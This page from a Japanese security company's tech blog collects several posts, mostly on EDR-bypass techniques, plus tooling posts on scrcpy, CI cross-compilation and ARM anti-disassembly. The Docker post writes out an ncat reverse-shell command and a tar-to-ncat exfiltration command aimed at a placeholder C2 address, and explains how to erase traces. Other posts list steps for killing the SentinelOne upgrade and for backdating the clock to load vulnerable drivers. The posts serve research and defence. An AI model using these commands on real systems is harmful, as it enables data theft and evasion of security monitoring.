Sterra Security Tech Blog

株式会社ステラセキュリティの公式技術ブログ

Dockerを悪用するEDRバイパス手法「Bring Your Own Container」

取締役CTOの小竹(aka tkmru)です。 前回に引き続きEDRバイパス手法を紹介します。 EDRバイパスの概要はこちら

tech-blog.sterrasec.com

昨今のソフトウェア開発において、Dockerをはじめとするコンテナ技術はなくてはならない存在となりました。 開発環境と本番環境の一貫性を保ち、迅速なデプロイを可能にするコンテナは、強力なツールです。 しかし、その利便性の裏側には、セキュリティ製品にとっての盲点が潜んでいます。 コンテナが持つ「隔離」機能は、本来セキュリティを高めるためのものですが、皮肉なことに、この隔離こそがEDRの監視をすり抜けるための隠れ家🏠になります。

この攻撃手法を、私は「Bring Your Own Container(BYOC)」と名付け、AVTOKYO2024にて発表しました。 これは、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL) の考え方を、信頼された開発ツールであるDockerに応用したものです。

前編となる本記事では、このBYOCの具体的な手法と類似の攻撃事例について、解説していきます。

Dockerコンテナを用いた攻撃の流れ

BYOCは、コンテナへのデータを持ち込むステップとコンテナからデータ持ち出すステップの2つのステップで構成されます。 ここでは、その具体的なコマンドと共に攻撃の流れを見ていきましょう。

ステップ1:コンテナへのデータ持ち込み

まず、攻撃者はホスト上にある機密情報を、EDRから見えないコンテナの内部に持ち込みます。 これには、主に3つの方法があります。

手法A:ホストディレクトリのマウント

-vオプションを使い、ホスト上のディレクトリを直接コンテナにマウントします。 これにより、コンテナ内からホストのファイルに自由にアクセスできます。

# ホストのデスクトップをコンテナの/lib/modulesにマウントする例
$ docker run --rm -v ~/Desktop:/lib/modules -it ubuntu /bin/bash

--rmオプションを付けることで、コンテナ終了時に自動でコンテナが削除され、操作ログなどの痕跡がホストに残りづらくなります。

手法B:イメージへのデータの組み込み

DockerfileCOPY命令を使い、機密情報を含んだDockerイメージを作成し、コンテナを立ち上げられます。

# Dockerfileの例
FROM ubuntu:latest
COPY ./secret /lib/modules/ # "secret"という名前の機密情報をコピー
RUN apt update && apt install -y ncat
CMD ["/bin/bash"]

手法C:既存コンテナへのサイドローディング

すでに稼働している正規のコンテナにdocker cpコマンドでファイルをコピーする手法です。 新しいコンテナを起動するよりも怪しまれにくく、よりステルス性が高いと言えます。

# 実行中のコンテナにファイルをコピーする例
$ docker cp secret.txt <Container ID>:/lib/modules/

ステップ2:コンテナからのデータ持ち出し

次に、コンテナ内に持ち込んだデータを、外部のC2(Command & Control)サーバへ送信します。

手法A:リバースシェルの確立

コンテナ内でncatのようなネットワークツールを使い、C2サーバへ接続してリバースシェルを確立します。 一度シェルを確保してしまえば、EDRの監視外で自由に対話的な操作できます。

# コンテナ内からC2サーバーへリバースシェルを接続する例
# ncat XX.XX.XX.XX 3333 -e /bin/bash

手法B:直接的なデータ送出

tarコマンドでデータをアーカイブし、パイプでncatに渡すことで、データを直接C2サーバーにストリーミングします。 対話的な操作を必要としないため、効率的にデータを送出できます。

# /lib/modulesディレクトリをtarで固めてncatで送出する例
# tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333

攻撃者目線での利点

EDRから解放されたシェルを自由に操作できる

最大の利点は、EDRの監視がないシェルを自由に操作できることです。 EDRを無効化するような派手なアクションは不要で、開発者の日常的なdockerコマンドの実行に紛れ込ませることができるため、検知が困難です。

使い慣れた攻撃環境を展開できる

攻撃者は、あらかじめツールを仕込んだDockerイメージを用意しておくことで、Dockerがインストールされている環境であればどこでも、使い慣れた攻撃環境を即座に展開できます。 標的の環境ごとにツールをダウンロードする必要がなくなり、検知リスクをさらに下げられます。

永続化と横展開への活用

長時間稼働するコンテナは、ネットワーク上での永続的な足場として機能します。 コンテナは独自のネットワークスタックを持つため、そこを踏み台として内部ネットワークの他のホストをスキャンしたり攻撃したりする、横展開(ラテラルムーブメント)の起点にもなり得ます。

攻撃に用いた環境を削除するのが簡単

使用したDockerイメージとコンテナを削除し、コンテナを動かすのに実行したコマンドをシェルのヒストリから削除すれば、攻撃に使用した環境を削除でき、痕跡を探すのが困難になります。 ぺネトレーションテストの際には、侵害した端末に残したファイルが後々問題になることもあるので、ペンテスター目線でもこれは嬉しいところです。

Dockerがインストールされている環境が前提

BYOCは、あくまでコンテナ内に持ち込んだデータを操作するものであり、ホストOS自体を直接制御できるわけではありません。 また、攻撃の前提として、標的の環境にDockerがインストールされている必要があります。 しかし、Dockerのインストールには高い権限が求められます。 この制限はBYOCの欠点です。

類似の攻撃手法と実例

Dockerが攻撃に活用された事例と他のプラットフォームでの似た手法を紹介します。 「正規の分離技術を悪用して監視を回避する」というBYOCの概念は、Dockerだけに留まりません。

macOSにおいてDockerを利用したステルス化事例

Elastic Security Labsの報告によると、「TraderTraitor」と呼ばれる北朝鮮を背景とするサイバー攻撃グループが、macOSを標的とした攻撃でDockerを悪用した事例があります。 この攻撃では、Dockerコンテナにパッケージ化した、株取引ツールを装った悪意のあるPythonアプリケーションが使用されました。

AppleのEndpoint Security Framework(ESF)は、コンテナ内部で実行されるプロセスを詳細に調査する能力に欠けています。 そのため、EDRは「信頼されたDockerプロセス」がホスト上の機密ファイル(SSHキーやAWS認証情報など)にアクセスしていることは検知できても、それが正規の開発者のワークフローなのか、悪意のある活動なのかを区別することは困難です。 結果として、EDRはコンテナ化された活動を検知しにくくなり、攻撃者はDockerコンテナという隠れ家🏠の中で、ステルス性を保ちながら活動できます。 この事例は、BYOCが現実の攻撃で利用されていることを示す好例です。

www.elastic.co

Windows Sandboxを利用したEDRバイパス

Windowsにも、Dockerの代わりにWindows Sandboxを使用してEDRをバイパスする類似の手法が存在します。 Windows Sandboxは、軽量で隔離された一時的なデスクトップ環境を提供する機能です。 Dockerコンテナと同様に、Windows Sandbox内で実行されるアクティビティはホストOSから隔離されています。 そのため、EDRは、Windows Sandbox内で発生するプロセスやネットワーク活動に対する可視性が制限されます。 攻撃者はこのサンドボックスを利用して、悪意のあるコードの実行、追加ペイロードのダウンロード、攻撃の準備などを行い、サンドボックスを閉じると同時にすべての痕跡を消し去ることができます。 これは、隔離を目的とした正規のシステム機能を攻撃者が逆手に取り、監視がない環境を作り出すという点で、BYOCと似ています。

blog.itochuci.co.jp

まとめ

私がAVTOKYO2024で発表した、Dockerコンテナを悪用してEDRの監視を回避する攻撃手法「Bring Your Own Container」について、具体的な手法から攻撃者にとっての価値、さらにはWindows Sandboxを用いた類似の事例までを解説しました。 これらの手法に共通するのは、セキュリティのための「隔離」技術が、攻撃者にとっての「隠れ家🏠」として利用されてしまうという点です。 信頼されたツールの正当な利用されると、悪意ある活動を区別することが困難です。

次回以降は、macOSTCCWindowsのControlled folder accessなどのOSのセキュリティ機構をバイパスする手法を組み合わせる方法や具体的な対策について詳しく掘り下げていきます。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

SentinelOneのインストーラを悪用するEDRバイパス手法「Bring Your Own Installer」

取締役CTOの小竹(aka tkmru)です。 前回に引き続きEDRバイパス手法を紹介します。前回は、EDRバイパスの概要について紹介しました。

tech-blog.sterrasec.com

今回はSentinelOneがインストールされた多くの端末で有効と思われる「Bring Your Own Installer」というテクニックを紹介します。EDRバイパスのテクニックは、攻撃者がフィッシング攻撃や脆弱性を利用した攻撃を行い、端末に侵入した後に、マルウェアを実行する際に用いられます。

インストーラの仕様を悪用したテクニック

Bring Your Own Installer(BYOI)は、SentinelOneのエージェントのインストーラが持つ仕様を悪用するEDRバイパスの手法です。EDRにおいてエージェントとは、各端末にインストールされ、監視を行うソフトウェアのことを指します。

この手法は、正規のアップグレードプロセスを意図的に開始し、EDRが無効になる期間を狙ってプロセスを中断させることで、保護機能を永続的に無効化するというものです。Aon社によって公表されました。 攻撃のプロセスは次の通りです。

  1. ローカル管理者権限を持つ攻撃者が、エージェントの正規のインストーラを実行します。
  2. アップグレードプロセスが開始されると、まず既存の動作しているエージェントに関連する全てのサービスが停止します。新しいエージェントが起動するまでの約55秒間、EDRが実行されていない期間が生じます。  
  3. 攻撃者はこの期間にアップグレードプロセスを管理しているWindowsインストーラサービス(msiexec.exe)を強制終了させます。  
  4. msiexec.exeが終了すると、アップグレードは中断され、新しいエージェントも停止された古いエージェントも起動しません。その結果、端末はEDRの保護がない無防備な状態に陥ります。

これは、プロセスレベルでの「TOCTOU(Time-of-check to time-of-use)」の競合状態の一種と見なすことができます。 Aon社のインシデントレスポンスチームであるStroz Friedbergの報告によると、この手法はBabukというランサムウェアの展開に利用されていました。

修正状況

SentinelOneは、この問題を緩和するための機能「Local Upgrade/Downgrade Authorization」を提供しています。 この機能は新規のユーザに対してはデフォルトで有効化されていますが、既存ユーザの環境では、サードパーティ製の展開ツールとの互換性を維持するため、デフォルトでは有効にされていません。 そのため、古くからSentinelOneを使用している企業の環境では、管理者が手動で設定を有効にしない限り、この手法に対して脆弱な状態が続いています。

Bring Your Own Installerの対策を有効にする

管理コンソールで「Local Upgrade/Downgrade Authorization」を有効にすることで、Bring Your Own Installerの対策を行えます。手順は次のようになります。

  1. ダッシュボードを開き、左のタブからSentinelsを選択します。
  2. Sentinelsページを開いたら、上部のタブからPolicyを選択します。
  3. ページをスクロールし、Agent セクションを見つけます。
  4. Local Upgrade/Downgrade Authorizationの設定のBlock local Windows Agent upgrades/downgradesのトグルを有効にします。  

Block local Windows Agent upgrades/downgradesを有効にする

まとめ

Bring Your Own Installerは、攻撃者が信頼された正規のシステム機能(今回はインストーラ)を意図しない形で使用するという、現代のトレンドに沿った手法だと私は感じました。この攻撃は、プロセスレベルでの「TOCTOU(Time-of-check to time-of-use)」の競合状態の一種と見なすことができます 。システムのチェック(アップグレード開始)と、その結果の利用(アップグレード完了)の間に存在する時間的なギャップを悪用するTOCTOUであり、攻撃者はこのギャップを突いてプロセスを中断させ、EDRを永続的に無力化します。

Bring Your Own Installerの対策を行うための機能は自動では有効化されていません。 この事例は、セキュリティツールを導入するだけでは不十分であり、その設定を定期的に検証することの重要性を浮き彫りにしています。 脅威の状況やベンダーの推奨設定は常に変化するため、日々情報収集を行い、自社に導入されているセキュリティツールがベストプラクティスに沿っているかを定期的に検証することが大切です。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

参考資料

真実と幻想とEDRバイパス概覧

取締役CTOの小竹(aka tkmru)です。 著名なセキュリティ製品であるEDRは、残念ながら万能ではありません。 今回は、世界各地のセキュリティカンファレンスで頻繁に新しいテクニックが発表されており、ホットな分野である「EDRバイパス」の概要を紹介します。

はじめに

今日の企業において、従業員が使用する端末に対して、EDR(Endpoint Detection and Response)を導入するというのは標準的な対策となっています。 何らかの攻撃に成功して、企業内の端末に侵入できても、何も配慮していないとマルウェアEDRにブロックされます。 しかし、高度な攻撃者はEDRによる検知を回避・迂回してきます。 EDRを迂回・回避するテクニックはEDR バイパス(Bypass)またはEDR Evasionと呼ばれます。

EDRを回避する技術をなぜ知るべきなのか

最新のマルウェアの多くがEDRバイパス機能を備えています。 EDRの弱点を把握していなければ、ペネトレーションテストでは適切な評価ができず、セキュリティ対策の設計においては過度にEDRを信頼してしまい、現実の脅威に対応できなくなります。

そのため、ペネトレーションテスターやインシデントレスポンダーといったエシカルハッカーにとっても、EDRバイパスを理解しておくことは大切です。 この記事は、攻撃を助長するものではありません。

攻撃者がマルウェアを実行させるまでのシナリオ

攻撃者が標的企業のシステムに侵入する手法の1つに、ソーシャルエンジニアリングを駆使して従業員を欺き、マルウェアを実行させる手法があります。 ここでは、著名な攻撃グループであるLazarusがスペインの航空宇宙企業を標的にした事例を紹介します。

Lazarusの攻撃者は採用担当者を装い、SNSやメールで標的の企業の従業員に接触しました。 そして、「コーディングテスト」と偽ってマルウェアを送りつけ、実行させました。 転職を希望している方であれば、LinkedInなどで大企業からスカウトメッセージが来たら、対応してしまう方も多いでしょう。

  1. SNSや電子メールを利用し、標的企業の従業員にフィッシングメールを送信
  2. 採用担当者になりすました攻撃者がコーディングテストに偽装したマルウェアを配布
  3. コーディング課題だと思った従業員がマルウェアを実行

EDRバイパスの主なカテゴリ

EDRをバイパスする技術は多岐にわたりますが、主に次の4つのカテゴリに分類できます。 これらを組み合わせることで、検知を回避する可能性が高まります。

  • EDRを避ける
    • プロキシ経由で通信するなどして、EDRの監視から逃れる。
  • 既存の環境と同化させる
    • 正規の署名を持つアプリケーションを悪用するなどして、正当な活動に見せかける。
  • EDR自体を改ざんする
    • EDRプロセスのメモリを改ざんするなどして、EDR自体の機能を停止させる。
  • 監視されていない場所を用いる
    • EDRの監視が及ばない領域を利用して活動する。

ケーススタディで見るEDRバイパス手法

ここでは、代表的なEDRバイパス手法を2つのケーススタディを通して解説します。

1. Windows Filtering Platformの悪用

Windows Filtering Platformとは?

Windows Filtering Platform(以下WFP)は、Windowsに標準で組み込まれているネットワークフィルタリング機能です。 開発者は、IPアドレス、ポート、プロトコル、アプリケーションなどに基づいてネットワークトラフィックを監視・ブロックするカスタムルールを作成できます。 ファイアウォールアンチウイルス製品など、多くのセキュリティ製品で利用されています。

攻撃手法

攻撃者はWFPを悪用し、EDRのプロセスから発信される通信を遮断するフィルタを作成します。 これにより、EDRがアラートをサーバへ送信するのを防ぎ、事実上その機能を無力化します。

EDRSilencerEDRPrisonがこの手法を実装したツールとして知られています。 また、EDRNoiseMakerというEDRの通信をブロックしているWFPフィルタの存在を検知するためのツールも存在します。

2. 脆弱なカーネルドライバを悪用 (BYOVD)

ドライバとは、OSがPCに接続されたハードウェアと通信するためのソフトウェアであり、OSの中でも特に高い権限(カーネルレベル)で動作します。 攻撃者は、正規の署名を持つドライバに存在する既知の脆弱性を悪用することで権限昇格を行い、EDRをバイパスしようとします。

攻撃手法

具体的には、次のステップで攻撃が進行します。

  1. 脆弱性を持つ署名済みドライバをインストールする。
  2. ドライバの脆弱性を用いて、ドライバに任意のコードを注入し、権限昇格を行う。
  3. カーネルのメモリを変更し、EDRによって設置されたフックを削除する。

攻撃対象のPCに、脆弱性を持つドライ-バを持ち込んで(Bring Your Own)インストールすることから、この手法は「Bring Your Own Vulnerable Driver(BYOVD)」と呼ばれています。 この手法の利点は、侵害したPC内で権限昇格の脆弱性を新たに探す必要がなく、ツール化されていて容易に実行できる点です。 脆弱なドライバの情報はLOLDriversでまとめられています。

MicrosoftのBYOVD対策

Microsoft社は、Windows 11 22H2から脆弱なドライバのインストールをブロックする「Vulnerable driver blocklist」という機能をデフォルトで有効にし、BYOVDに対抗しています。 しかし、このブロックリストの自動更新は年に1〜2回程度に留まるという課題があります。

Microsoft Intune App Control for Businessを利用することで、随時、最新のブロックリストを適用できます。ただし、ブロックリストがどのくらいの頻度で更新されているのかは、公式ページに明記されていません....

期限切れの証明書で署名されたドライバをインストールする新たな手法

Microsoft社がBYOVD対策に乗り出したことで、攻撃者もBYOVDを発展させています。 Windowsのドライバー署名ポリシーでは、後方互換性のために2015年7月29日以前に発行された証明書を信頼するとしており、この仕組みを悪用することで、期限切れの証明書で署名されたドライバをインストールします。

  1. 攻撃者は、まず標的のシステム上で時刻同期サービス(w32time)を停止します。
  2. 悪用したいドライバの証明書が有効であった過去の日付に、システムの時刻をPowerShellSet-Dateなどを用いて強制的に変更します。
  3. システム時刻が偽装されているため、Windowsは期限切れの証明書を有効なものと誤認し、脆弱なドライバのインストールを許可してしまいます。
  4. ドライバのインストール成功後、攻撃者はシステム時刻を現在に戻し、痕跡を隠蔽します。

この手法は、Aon社のインシデントレスポンスチームが報告したもので「Retrosigned Driver EDR Bypass」と名付けられており、実際に複数のランサムウェアギャングによる使用が確認されています。 Microsoft社と攻撃者とのドライバを巡る攻防はまだ続いています。

まとめ

EDRバイパスの手法は多岐にわたりますが、そこには共通するテーマが見られます。 Windowsに標準搭載された機能や署名済みの正規ドライバといったEDRが信頼するコンポーネントや、EDRの監視が手薄になりがちな領域を悪用する、という共通点が見られます。 防御側は、攻撃者の視点を理解し、EDRだけに頼るのではなく、多層的な防御アプローチを考えていく必要があります。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

参考資料

GitHub OrganizationのプロフィールにREADMEを設定しました

取締役CTOの小竹(aka tkmru)です。 GitHubには、企業やコミュニティ、OSSプロジェクトなどを組織単位で管理するための、Organizationという機能があります。 先日、弊社のOrganizationのプロフィールにREADMEを設定しました。 この記事では、OrganizationにREADMEを設定する方法、記載内容について紹介します。

OrganizationのプロフィールにREADMEを設定する方法

次の手順で、OrganizationにREADMEを設定できます。

  1. 所属しているOrganizationに.githubという名前のリポジトリを作成します。
  2. .githubリポジトリ内にprofileフォルダを作成します。
  3. profileフォルダ内にREADME.mdを作成し、Markdown形式で内容を記載します。
  4. README.mdへの変更をコミットします。
  5. 問題なければ、リポジトリを公開します。

docs.github.com

READMEに記載する内容

READMEには、活動内容や目的など、OrganizationのGitHubリポジトリへの訪問者に伝えたい情報を記載します。 Markdown形式で記述できるので、見出しやリンク、画像などを使って各種情報を分かりやすく伝えられます。 例えば、次のような内容を記載できます。

  • Organizationの目的
  • Organizationの活動内容
  • Organizationの連絡先

弊社のREADMEでは、次の内容を記載しています。

  • About Us(自己紹介)
  • Links(各種リンク)
  • License(OSSのライセンス情報)

参考に弊社のREADME.mdをご覧ください。 About Usには、弊社では脆弱性診断サービスを提供していることや、脆弱性診断のためのOSSツールをGitHub上で公開し、 コミュニティに貢献していきたい旨を記載しています。

github.com

README.mdのスクリーンショット

まとめ

OrganizationにREADMEを設定することで、どういった活動を行なっている組織なのか、訪問者に分かりやすく伝えることができます。 個人ユーザだとプロフィールにREADMEを設定している方が結構多い印象ですが、 日本企業ではOSSを公開している企業であっても、OrganizationにREADMEを設定していないことが多いです。 インターネットでのプレゼンスを高めるためにも、READMEを設定してみてはいかがでしょうか。 ぜひ、あなたのOrganizationでもREADMEを作成し、組織の魅力を発信してみてください。

Android端末の画面をPCにミラーリングして検証作業を効率化する

取締役CTOの小竹(aka tkmru)です。 Androidアプリの脆弱性診断において、scrcpyというツールを使い、端末の画面をPCにミラーリングすれば、視線の移動が減り、作業効率が上がります。 また、録画機能を使えば、作業内容を共有する際にも便利です。 ここでは、scrcpyの活用方法について解説します。 本記事はAndroid Advent Calendar 2024の18日目の記事です。

scrcpyとは?

scrcpyは、Android端末の画面をPCにミラーリングし、PCから端末を操作するためのオープンソースのツールです。 Android端末をPCに接続した状態でscrcpyコマンドを実行することで、Android端末の画面をPCに表示し、操作できます。 次の特徴があります。

scrcpyのインストール方法

macOSの場合、Homebrewを使ってscrcpyをインストールできます。

$ brew install scrcpy

Linux/Windowsの場合は、GitHubリポジトリReleasesからバイナリをダウンロードし、 パスが通ったディレクトリにファイルを配置してください。

scrcpyを使ってミラーリングする手順

あらかじめ、PCにAndroid SDKのPlatform Toolsをインストールし、adbコマンドが使えるようにしておく必要があります。 scrcpyを使ってAndroid端末の画面をPCにミラーリングする手順は次の通りです。

  1. Android端末でUSBデバッグを有効にする
  2. USBケーブルでAndroid端末をPCに接続する
  3. シェル上でscrcpyコマンドを実行する

scrcpyコマンドを実行する際には、特にオプションを指定せずとも、ミラーリングできます。 コマンドを実行すると次のように、ミラーリングされたウィンドウがPC上に現れます。

macOS上にミラーリングした画面

オプションを指定することで、画面のサイズなどの設定を変更することもできます。 --always-on-topというオプションを指定して、画面を常に最前面に表示するのがおすすめです。

$ scrcpy --always-on-top

その他のオプションは、公式ドキュメントを参照してください。

ミラーリングした画面を操作する際は、トラックパッド/マウスとキーボードを使い、デスクトップアプリケーションのように直感的に操作できます。 また、クリップボードが共有されており、PCとAndroid端末間でテキストをコピー&ペーストすることができます。 API脆弱性を検証する際には、アプリに対してMITMを行うのですが、Android端末の設定画面でプロキシのIPアドレスを指定する際に、コピー&ペーストができるのはとても便利です。

scrcpyを使って画面を録画する

scrcpyには、画面を録画する機能も備わっています。 次のコマンドを実行することで、Android端末の画面を録画できます。 file.mp4の部分には、保存先のファイル名を指定してください。

$ scrcpy --record file.mp4

録画を停止するには、Ctrl + cを入力してください。 検証中に発生した問題を共有する際や、対外発表のためにデモ動画が必要な場合には、録画機能を活用すると便利です。

まとめ

scrcpyを使い、Android端末の画面をPCにミラーリングすることで、視線の移動を減らすことができます。 また、クリップボードの共有機能や、画面の録画機能など検証作業を効率化するための機能が多数そろっています。 ただし、アクションゲームなど、アクロバティックな操作が必要なアプリを対象に作業を行う場合は、実機を使って操作する方が快適に作業できると思います。 ご自身の作業スタイルに合わせて、Scrcpyを活用してみてください。

クロスコンパイルできるC言語のビルド/実行環境をGitHub ActionsとQEMUで作る

取締役CTOの小竹(aka tkmru)です。 「ARM環境でディスアセンブルを妨害するテクニック」シリーズでは、アンチディスアセンブルを施されたC言語のコードを紹介しました。

tech-blog.sterrasec.com

tech-blog.sterrasec.com

アンチディスアセンブルや難読化の実験を行う際には、少しコードを変更する度に、ビルドしてバイナリを確認しています。 しかし、そんな作業を手元でちまちま行うのは面倒です。 そのため、私はコードを少し変更する度に、CIを利用してコミット毎に自動でバイナリがビルド&実行されるようにしています。 変更前のバイナリもダウンロードできる状態で残るので、比較もしやすくなります。

本記事では、GitHub Actionsを利用して、x64とARM32/ARM64のバイナリをコミット毎にビルドする環境を構築します。

全体像

ディレクトリ構成は次のようになります。 .gitはコミットを管理するためのディレクトリです。 Gitリポジトリを作成すると自動で作成されます。 .github/workflowsには、GitHub Actionsの設定ファイルを配置します。 Gitリポジトリには、必要に応じて、README.mdを作成しておくと、他の人が内容を理解しやすくなります。

arm32arm64x64ディレクトリには、それぞれのアーキテクチャ向けのコードを配置します。 Makefileを作成することで、手元でも、CIでも同じ手順で手軽にビルドできるようになります。

├── .git
├── .github
│   └── workflows
│       └── build.yml
├── Makefile
├── README.md
├── arm32
│   └── sample.c
├── arm64
│   └── sample.c
└── x64
    └── sample.c

Makefileの作成

Makefileの内容を紹介します。 次のMakefileは、x64のUbuntu 22.04上でビルドすることを想定しています。 冒頭では、ビルド先のディレクトリを指定しています。

:の手前に記載されているのは、ターゲット名です。 make <ターゲット名>で、そのターゲットに対応する処理が実行されます。 その後に記載されているのは、そのターゲットに対応するビルド処理です。 対象のアーキテクチャによって使用するコンパイラが異なるため、それに応じて記載するコマンドが異なります。 通常Makefileには、ビルドしたバイナリを実行する部分は記載しないのですが、今回は動作確認の手間を省くために実行する部分も記載しています。 ARM32/ARM64バイナリの実行には、QEMUを利用しています。

ARM32_BUILD_DIR = build/arm32
ARM64_BUILD_DIR = build/arm64
X64_BUILD_DIR = build/x64

# Makefile for ARM32 target
arm32_binary:
  mkdir -p $(ARM32_BUILD_DIR)
  arm-linux-gnueabihf-gcc -marm -o $(ARM32_BUILD_DIR)/insert-pld arm32/sample.c

    echo "Running ARM32 binaries"
    QEMU_LD_PREFIX='/usr/arm-linux-gnueabihf/' qemu-arm-static ./$(ARM32_BUILD_DIR)/sample

# Makefile for ARM64 target
arm64_binary:
  mkdir -p $(ARM64_BUILD_DIR)
  aarch64-linux-gnu-gcc -o $(ARM64_BUILD_DIR)/sample arm64/sample.c

    echo "Running ARM64 binaries"
    QEMU_LD_PREFIX='/usr/aarch64-linux-gnu/' qemu-aarch64-static ./$(ARM64_BUILD_DIR)/sample

# Makefile for x64 target
x64_binary:
  mkdir -p $(X64_BUILD_DIR)
  gcc -o $(X64_BUILD_DIR)/BogusControlFlow x64/sample.c -lm

    echo "Running x64 binaries"
    ./$(X64_BUILD_DIR)/sample

clean:
  rm -r $(X64_BUILD_DIR) $(ARM32_BUILD_DIR)

このMakefileはmakeコマンドによって、実行できます。 ターゲットを指定することで、そのアーキテクチャ向けのバイナリをビルドできます。

$ make arm32_binary  # ARM32向けのバイナリをビルド
$ make arm64_binary  # ARM64向けのバイナリをビルド
$ make x64_binary    # x64向けのバイナリをビルド
$ make clean         # ビルドしたバイナリを削除

GitHub Actionsの設定

GitHub Actionsの設定内容を.github/workflows/build.ymlに記載します。 この設定では、mainブランチにコミットがプッシュされる度に、このワークフローが実行されます。

buildジョブは、Ubuntu上で実行します。 冒頭では、リポジトリのコードを使用できるように、actions/checkout@v4を利用してコードをチェックアウトしています。 その後、ARM向けのGCCQEMUをインストールしています。Intel x64向けのGCCはデフォルトでインストールされています。 環境のセットアップが完了したら、Makefileを利用してARM32/ARM64/x64向けのバイナリをビルドします。 最終的にはバイナリが格納されているbuildフィルダをアップロードします。

name: Build x64 and ARM Binaries
on:
  push:
    branches:
      - main

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Install ARM GCC
        run: sudo apt install -y gcc-arm-linux-gnueabihf gcc-aarch64-linux-gnu qemu-user-static 

      - name: Build ARM32 binary
        run: make arm32_binary

      - name: Build ARM64 binary
        run: make arm64_binary
      
      - name: Build x64 binary
        run: make x64_binary

      - name: Upload artifacts
        uses: actions/upload-artifact@v4
        with:
          name: binaries
          path: |
            build

使い方

リポジトリを作成し、各ファイルを配置します。 GitHubリポジトリをプッシュすると、GitHub Actionsがビルドジョブを実行します。 ビルドが成功すると、ビルドしたバイナリがダウンロードできるようになります。

リポジトリActionsタブをクリックすると、ビルドジョブの実行結果を確認できます。 ダウンロードしたコミットの実行結果を選択し、各実行結果ページよりArtifactsからバイナリをダウンロードできます。

GitHub Actionsよりバイナリをダウンロードできる

まとめ

本記事では、GitHub Actionsを利用して、x64とARM32/ARM64のバイナリをコミット毎にビルドする環境を構築しました。 CIを活用することで、アンチディスアセンブルや難読化の実験を行う際に、手元でビルドする手間を省くことができます。 また、ビルドしたバイナリをダウンロードできるようになるため、比較もしやすくなります。 この記事が、マルチアークテクチャでのアンチディスアセンブルや難読化の実装を行なっている方の参考になれば幸いです。

32ビット/64ビットの両方のARM環境で有効なディスアセンブルを妨害するテクニック

取締役CTOの小竹(aka tkmru)です。 この記事は、大好評企画(?)「ARM環境でディスアセンブルを妨害するテクニック」の第2弾です。 前回は、32ビットのARM環境のみで有効なアンチディスアセンブルテクニックを紹介しました。

tech-blog.sterrasec.com

本記事では、32ビット/64ビットのARM環境(以下、ARM32/ARM64)両方で有効なアンチディスアセンブルのテクニックを紹介します。

ARM64でもアンチディスアセンブルx86/x64に比べ困難

前回の記事では、ARM32を例に命令の長さが固定長のARM環境のアンチディスアセンブルx86/x64に比べ困難であることを説明しました。 x86/x64の場合、命令が可変長であることを利用し、命令の途中のバイトを分岐先として解釈させるなどして、 命令間の境界を誤認させることで、比較的容易にアンチディスアセンブルを実現できます。 ARM64でも、ARM32と同様に命令の長さは固定長です。 そのため、ARM64でも命令間の境界を誤認させることが難しく、x86/x64と比較してディスアセンブルを妨害するためのテクニックは限られています。

命令として実行できないバイト列を埋め込む

命令として実行できないバイト列をデッドコードとして埋め込むことで、ディスアセンブルを妨害できます。 デッドコードとは、実行されることがないコードのことです。

次のC言語のコードでは、デッドコードとして.longディレクティブを使用して無意味なデータを埋め込んでいます。 b skip_deadcodeにより、実行フローはskip_deadcodeラベルにジャンプし、デッドコード部分を飛ばします。 このようにすることで、ディスアセンブラはデッドコード部分を命令として誤認識し、解析できなくなります。

#include <stdio.h>

int main() {
    __asm__ volatile(
        "b skip_deadcode\n"
        ".long 0x01020304\n"
        ".long 0x05060708\n"

        "skip_deadcode:"
    );
    printf("Hello, world!\n");
    return 0;
}

コンパイルと実行

前回と同様、x64のUbuntu 22.04上にクロスコンパイル環境を構築し、QEMUというエミュレータを使ってコンパイルしたプログラムを実行します。 次のコマンドでARM32向けにプログラムをコンパイルできます。

$ arm-linux-gnueabihf-gcc -marm -o skip-deadcode32 skip-deadcode.c

コンパイルが完了したら、QEMUを使って実行します。 環境変数QEMU_LD_PREFIXを使って、プログラムが使う共有ライブラリのパスを指定する必要があります。 次のように正常に動作することを確認できます。

$ QEMU_LD_PREFIX='/usr/arm-linux-gnueabihf/' qemu-arm-static skip-deadcode32
Hello, world!

ARM64でも動作を確認してみます。 次のコマンドでARM64向けにプログラムをコンパイルできます。

$ aarch64-linux-gnu-gcc -o skip-deadcode64 skip-deadcode.c

次のコマンドでビルドしたプログラムを実行できます。 環境変数QEMU_LD_PREFIXに指定するパスやコマンドが変わることに注意してください。

$ QEMU_LD_PREFIX='/usr/aarch64-linux-gnu/' qemu-aarch64-static skip-deadcode64
Hello, world!

ディスアセンブル結果の確認

ARM64向けにビルドしたプログラムのディスアセンブル結果を確認してみましょう。 アンチディスアセンブルが有効かどうかを見る上ではARM32向けのものとディスアセンブル結果は本質的には変わらないため、ARM32向けのディスアセンブル結果は割愛します。

IDA Pro

IDA Proでディスアセンブルした結果を確認してみましょう。 アセンブリの中に16進数のバイト列が出現しており、アンチディスアセンブルとして機能していることが確認できます。 デッドコード部分は、DCQ(Define Constant Quadword)という命令として認識されています。

IDA Proのディスアセンブル結果

DCQは、メモリの領域を確保し、文字列や数値などの定数を定義するための命令です。 指定された定数のサイズに応じて命令の名前は変わります。 このような命令はDCQの他に、DCB(Define Constant Byte)、DCD(Define Constant Doubleword)、DCW(Define Constant Word)があります。 作成したバイナリ内では、Hello Worldの文字列が定義されている部分で、DCBが使われています。

DCBが文字列の定義に使われている

Ghidra

Ghidraでディスアセンブル結果を確認してみましょう。 Ghidraでは、未定義のバイトとして認識されており、アンチディスアセンブルとして機能していることが確認できます。

Ghidraのディスアセンブル結果

デコンパイル結果は次のようになりました。 デッドコード部分はデコンパイル結果には含まれておらず、うまくデコンパイルできています。 Ghidraに対してはアンチディスアセンブルとしては有効であるものの、デコンパイルを妨害する効果はありません。

undefined8 main(void)

{
  puts("Hello, world!");
  return 0;
}

分岐先が一意に定まる条件分岐を挿入する

